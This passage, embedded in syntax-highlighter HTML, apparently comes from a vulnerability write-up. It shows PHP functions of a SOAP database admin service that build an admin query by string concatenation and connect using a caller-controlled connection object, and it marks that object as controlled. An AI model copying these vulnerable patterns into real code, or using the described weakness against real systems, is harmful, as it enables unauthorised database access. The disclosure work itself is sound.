crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979855e153064850-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979855e153064850-46\">46<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-2\"><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">createSBSpace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">connectionObj<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbsname<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">offset<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">mpath<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">moffset<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-5\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">dbsname<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SoapFault<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;createSBSpace&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;missing param dbsname&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SoapFault<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;createSBSpace&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;missing param path&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SoapFault<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;createSBSpace&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;missing param size&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-20\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SoapFault<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;createSBSpace&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;missing param offset&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-25\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">qry<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;execute function &#8220;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ADMIN_API_FUNCTION<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8221; (&#8216;create sbspace&#8217; &#8220;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">qry<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;,'{$dbsname}'&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">qry<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;,'{$path}'&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">qry<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;,'{$size}'&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">qry<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;,'{$offset}'&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-31\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">mpath<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-34\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">qry<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;,'{$mpath}'&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-35\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-36\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">moffset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-37\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">qry<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;,'{$moffset}'&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-40\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-41\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-42\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">qry<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;)&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-43\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-44\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">doDatabaseWork<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">connectionObj<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">qry<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979855e153064850-45\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ end createSBSpace<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979855e153064850-46\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0052 seconds] -->  <\/p>\n<p>at [1] <em>doDatabaseWork()<\/em> is called with a controlled <em>$connectionObj<\/em> parameter.<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798562025847334\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  \/**       * doDatabaseWork       *  connectionObj = the connection details.       *  qry = the query to execute       *\/      function doDatabaseWork($connectionObj,$qry)      {          require_once(&#8220;soapdb.php&#8221;);            $host       = $connectionObj-&gt;host;          $port       = $connectionObj-&gt;port;          $servername = $connectionObj-&gt;servername;          $user       = $connectionObj-&gt;user;          $pass       = $connectionObj-&gt;password;          $protocol   = $connectionObj-&gt;protocol;          $dbname     = &#8220;sysadmin&#8221;;                    $db = new soapdb($host,$port,$servername,$protocol,$dbname,$user,$pass); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [2]          $stmt = $db-&gt;query($qry);            while ($row = $stmt-&gt;fetch() )          {              $ret = implode(&#8220;|&#8221;,$row);          }          return $ret;      } \/\/ end doDatabaseWork  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798562025847334-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798562025847334-28\">28<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-2\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-3\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp; * doDatabaseWork<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-4\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;connectionObj = the connection details.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-5\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;qry = the query to execute<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-6\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">doDatabaseWork<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">connectionObj<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">qry<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">require_once<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;soapdb.php&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">connectionObj<\/span><span 